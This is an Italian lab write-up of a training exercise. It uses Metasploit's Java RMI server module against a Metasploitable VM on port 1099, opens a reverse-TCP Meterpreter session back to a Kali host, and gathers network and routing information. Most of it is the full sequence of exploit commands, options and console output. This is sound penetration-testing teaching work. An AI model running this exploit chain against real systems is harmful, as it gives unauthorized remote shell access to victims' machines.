

## TASK:

Sfruttare la vulnerabilità sulla porta 1099 del servizio Java RMI al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono :

- IP della macchina Kali: 192.168.11.111
- IP della macchina Metasploitable: 192.168.11.112
- Una volta ottenuta la sessione remota di Meterpreter raccogliere le seguenti evidenze:
  1. Configurazione di rete
  2. Informazioni sulla tabella di routing della macchina vittima

Il primo passo di questa esercitazione è stato quello di andare a modificare gli indirizzi IP sia della macchina Kali che della macchina Metasploitable. Ho eseguito questi cambiamenti lanciando il comando “sudo nano /etc/network/interfaces” che mi ha aperto l'editor testuale per andare a modificare il file di configurazione dell'interfaccia network. Una volta salvato il file ho lanciato il comando “sudo /etc/init.d/networking” per ricaricare le impostazioni network aggiornate:

## KALI

```
(kali@kali)-[~]
$ sudo nano /etc/network/interfaces
```



```
GNU nano 6.4
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.111
netmask 255.255.255.0
broadcast 192.168.11.255
gateway 192.168.11.1
```



```
(kali@kali)-[~]
$ sudo /etc/init.d/networking restart
Restarting networking (via systemctl): networking.service.
```

## METASPLOITABLE

```
meta [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
msfadmin@metasploitable:~$ sudo nano /etc/network/interfaces
```



```
GNU nano 2.0.7 File: /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet dhcp
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```



```
meta [In esecuzione] - Oracle VM VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto
msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart
* Reconfiguring network interfaces...
msfadmin@metasploitable:~$ _
```



Con il comando “search java rmi” sono andato a cercare quali exploit relativi al servizio Jav RMI fossero disponibili e ho selezionato il numero 4:

```
msf6 > search java rmi
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration <b>Java</b> Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration <b>Java</b> Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
8	exploit/multi/http/jenkins_metaprogramming_rce	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
9	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI <b>RMI</b> <b>Java</b> Deserialization Vulnerability
10	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
11	exploit/multi/http/totaljs cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget <b>JavaScript</b> Code Injection

Interact with a module by name or index. For example info 11, use 11 or use exploit/multi/http/totaljs cms\_widget\_exec

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

Ho lanciato il comando `show info` per avere informazioni aggiuntive su come funzionasse questo modulo di exploit, scoprendo che sfrutta la configurazione di default del registro RMI e dei suoi servizi di attivazione (le righe sottolineate in giallo):

```
msf6 exploit(multi/misc/java_rmi_server) > show info

Name: Java RMI Server Insecure Default Configuration Java Code Execution
Module: exploit/multi/misc/java_rmi_server
Platform: Java, Linux, OSX, Solaris, Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-10-15

Provided by:
mihi

Available targets:

Id  Name
--  ---
0   Generic (Java Payload)
1   Windows x86 (Native Payload)
2   Linux x86 (Native Payload)
3   Mac OS X PPC (Native Payload)
4   Mac OS X x86 (Native Payload)

Check supported:
Yes

Basic options:

Name          Current Setting  Required  Description
--          -
HTTPDELAY      10              yes       Time that the HTTP Server should wait for the payload re
RHOSTS        0.0.0.0         yes       The target host(s), see https://github.com/rapid7/meta
RPORT         1099            yes       The target port (TCP)
SRVHOST       0.0.0.0         yes       The local host or network interface to listen on. This
SRVPORT       8080            yes       The local port to listen on.
SSL           false           no        Negotiate SSL for incoming connections
SSLCert       0               no        Path to a custom SSL certificate (default is randomly
URIPATH       0               no        The URI to use for this exploit (default is random)

Payload information:
Avoid: 0 characters

Description:
This module takes advantage of the default configuration of the RMI
Registry and RMI Activation services, which allow loading classes
from any remote (HTTP) URL. As it invokes a method in the RMI
Distributed Garbage Collector which is available via every RMI
endpoint, it can be used against both rmiregistry and rmid, and
against most other (custom) RMI endpoints as well. Note that it does
not work against Java Management Extension (JMX) ports since those
do not support remote class loading, unless another RMI endpoint is
active in the same Java process. RMI method calls do not support or
require any sort of authentication.
```

A questo punto ho lanciato il comando “show options” per andare a vedere di quali input l’exploit necessitasse per essere avviato e ho visto che mancava il valore RHOSTS, cioè l’indirizzo IP della macchina attaccata, che sono andato ad inserire con il comando “set rhosts 192.168.11.112”:

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):
  Name      Current Setting  Required  Description
  --      -
  HTTPDEFAY 10               yes       Time that the HTTP Server will wait for the payload re
  RHOSTS     192.168.11.112  yes       The target host(s), see https://github.com/rapid7/metasp
  RPORT      1099             yes       The target port (TCP)
  SRVHOST    0.0.0.0           yes       The local host or network interface to listen on. This
  SRVPORT    8080              yes       The local port to listen on.
  SSL        false             no        Negotiate SSL for incoming connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly g
  URIPATH                     no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --      -
  LHOST      192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT      4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
```



```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
```

Sono quindi andato a controllare i payload disponibili con il comando “show payloads” e ho selezionato il numero 9 con il comando “set payload 9”:

```
msf6 exploit(multi/misc/java_rmi_server) > show payloads
Compatible Payloads
  #  Name                                     Disclosure Date  Rank  Check  Description
  --  -
  0  payload/generic/custom                   normal          No     Custom Payload
  1  payload/generic/shell_bind_tcp            normal          No     Generic Command Shell, Bind TCP Inline
  2  payload/generic/shell_reverse_tcp          normal          No     Generic Command Shell, Reverse TCP Inline
  3  payload/generic/ssh/interact               normal          No     Interact with Established SSH Connection
  4  payload/java/jsp_shell_bind_tcp            normal          No     Java JSP Command Shell, Bind TCP Inline
  5  payload/java/jsp_shell_reverse_tcp          normal          No     Java JSP Command Shell, Reverse TCP Inline
  6  payload/java/meterpreter/bind_tcp           normal          No     Java Meterpreter, Java Bind TCP Stager
  7  payload/java/meterpreter/reverse_http       normal          No     Java Meterpreter, Java Reverse HTTP Stager
  8  payload/java/meterpreter/reverse_https      normal          No     Java Meterpreter, Java Reverse HTTPS Stager
  9  payload/java/meterpreter/reverse_tcp        normal          No     Java Meterpreter, Java Reverse TCP Stager
 10  payload/java/shell/bind_tcp                 normal          No     Command Shell, Java Bind TCP Stager
 11  payload/java/shell/reverse_tcp              normal          No     Command Shell, Java Reverse TCP Stager
 12  payload/java/shell_reverse_tcp              normal          No     Java Command Shell, Reverse TCP Inline
 13  payload/multi/meterpreter/reverse_http      normal          No     Architecture-Independent Meterpreter Stage,
 14  payload/multi/meterpreter/reverse_https     normal          No     Architecture-Independent Meterpreter Stage,

msf6 exploit(multi/misc/java_rmi_server) > set payload 9
payload => java/meterpreter/reverse_tcp
```



Dopo aver ricontrollato tutte le impostazioni usando nuovamente il comando “show options” e aver confermato che non era necessario aggiungere altri parametri sono quindi andato a lanciare l’exploit con il comando “run”, riuscendo ad ottenere una sessione di Meterpreter:

```
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/9CIOsUlpU
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:51387) at 2022-12-09 05:21:07 -0500

meterpreter > 
```

Su Meterpreter ho lanciato prima il comando “ifconfig” per ottenere la configurazione di rete della macchina attaccata:

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe5e:8701
IPv6 Netmask : ::
```

E infine ho lanciato il comando “route” per ottenere invece informazioni sulla tabella di routing:

```
meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0      0           lo
192.168.11.112 255.255.255.0 0.0.0.0      0           eth0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0           lo
fe80::a00:27ff:fe5e:8701 ::           ::           0           eth0
```

Dal comando “ifconfig” possiamo vedere che l’host 192.168.11.112 è connesso a 2 network. “Interface 1” è un’interfaccia di loopback, cioè tutti i dati inviati verso questa interfaccia vengono fatto tornare indietro verso la stessa sorgente da cui hanno origine. “Interface 2” è l’altro network che abbiamo usato per raggiungere l’host.